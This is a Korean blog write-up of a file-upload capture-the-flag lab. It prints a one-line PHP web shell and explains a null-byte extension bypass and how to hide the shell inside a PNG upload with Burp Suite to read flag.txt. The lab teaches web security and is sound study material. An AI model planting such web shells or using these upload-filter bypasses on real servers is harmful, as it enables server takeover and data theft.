File Upload CTF 2 - Web Shell 2
사전 정보 : 서버를 장악하고! 그 안에 중요한 시크릿 코드! flag를 찾으세요! flag.txt 에 있습니다!
이전 File Upload CTF 1 - Web Shell 문제와 같이 파일 업로드 문제이기 때문에 파일 업로드 하는 부분을 먼저 찾아야합니다. Web Shell 2 사이트 역시 로그인해서 게시글 쓸 때 파일 업로드할 수 있었습니다.
저번 문제에서 만든 ADDICT!ON.php 파일을 업로드 해보겠습니다. 해당 파일의 코드는 아래와 같습니다.
<?php system($_GET['cmd']); ?>
아래 사진과 같이 업로드 해보니 확장자 필터링을 하고 있다는 것을 알 수 있습니다.
요청 HTML 코드를 확인해보니 아래 사진과 같이 jpg, jpeg, png, gif, bmp, txt의 확장자만 요청을 보낼 수 있게 되어 있습니다.
일단 정상적인 파일을 업로드 해보겠습니다.
NewJeans_Pixel.png 파일을 업로드 해보니 정상적으로 업로드가 되었습니다.
HTML 코드를 보셨다시피 클라이언트측 코드에서 파일 확장자가 화이트리스트를 제외한 다른 확장자는 모두 필터링 되기 때문에 확장자 우회를 .php3 .phtml .pht .htm .html .inc .png.php등의 확장자는 필터링됩니다.
하지만!! HTML 코드를 자세히 분석해 보면 정규표현식을 사용해서 필터링 하는 것을 알 수 있습니다.
/(.*?)\.(jpg|jpeg|png|gif|bmp|txt)$/
맨 앞과 마지막에 있는 빗금(/)은 정규식의 시작과 끝을 의미합니다.
(.*?)\.(jpg|jpeg|png|gif|bmp|txt)$
마지막에 있는 달러($)는 달러 앞에 나오는 문자로 매치해서 끝나야 하는 것을 의미합니다.
마지막은 jpg 또는 jpeg 또는 png 또는 gif 또는 bmp 또는 txt로 매치해서 끝나야 합니다.
(.*?)\.
남은 정규식에서 괄호는 묶음을 의미하고 \.은 마침표(.)와 매치하는 것을 의미합니다.
그리고 .*?은 모든 문자를 0회 이상 매치하는 것을 의미합니다.
위 정규식 필터링을 보아 마지막만 일치하면 되기 때문에 Null Byte Bypass를 이용하면 필터링이 뚫을 수 있습니다.
Null Byte Bypass는 문자열의 끝을 의미해서 .php%00.jpg와 같이 확장자를 만들면 %00 뒤의 내용은 의미가 없게 돼서 .php로 처리되게 됩니다.
ADDICT!ON.php%00.jpg을 업로드 해보니 잘 업로드가 되었습니다.
아래 사진과 같이 이전 풀었던 File Upload CTF 1 - Web Shell 문제와 똑같이 다운로드 부분에서 경로를 찾을 수 있었습니다.
요청은 성공 했으나 아래 사진과 같이 Not Found가 뜨는 것으로 보아 서버측에서 따로 더 필터링해서 삭제하는 것으로 추측이 됩니다. 다른 방법을 사용해보겠습니다.
이번에 NewJeans_Pixel.png라는 일반적인 귀여운 사진을 업로드해보겠습니다.
업로드 후에 Burp Suite에서 업로드 요청을 Repeater를 이용해서 악성코드를 삽입해서 다시 요청보내겠습니다.
귀여운 사진에 사악한 악성코드를 삽입해보겠습니다.
아래 사진과 같이 게시글 제목은 햇갈리지 않게 수정해줍니다.
그리고 귀여운 사진의 확장자는 png이기 때문에 php로 수정합니다.
마지막으로 Content-Type 아래 부분은 파일 시그니처라는 부분인데 이 시그니처 맨 뒷부분에 악성코드를 입력하고 요청 보냅니다.
이제 php 파일이 실행이 잘 되는지 확인해보겠습니다.
아까 찾은 경로에 NewJeans_Pixel.php 파일을 실행합니다.
요청 보낼 때 파일 시그니처의 맨 마지막 부분에 악성코드를 삽입했기 때문에 아래 사진과 같이 응답에서도 맨 마지막에 php를 실행한 출력이 나오는 것을 확인할 수 있습니다.
목표인 flag.txt 파일을 찾기 위해 find / -type f -name '*flag.txt' 명령어로 flag.txt를 찾아보겠습니다.
그리고 바로 flag.txt 파일을 cat /app/webshell_2/secret_file/flag.txt로 확인해보니 flag가 있습니다.
'개발자 (Developer) > Hacking CTF' 카테고리의 다른 글
(File Upload CTF 풀이1) Web Shell (0) | 2023.06.02 |
---|---|
(SQL Injection CTF 풀이2) Login Bypass 2 - 인증과 식별 2 (0) | 2023.04.26 |
(SQL Injection CTF 풀이1) Login Bypass 1 - 인증과 식별 1 (0) | 2023.04.26 |
(SQL Injection CTF 풀이4) DB 데이터 추출 2 - Error Based SQL Injection (0) | 2023.04.23 |
(SQL Injection CTF 풀이3) DB 데이터 추출 1 - UNION SQL Injection (0) | 2023.04.22 |
댓글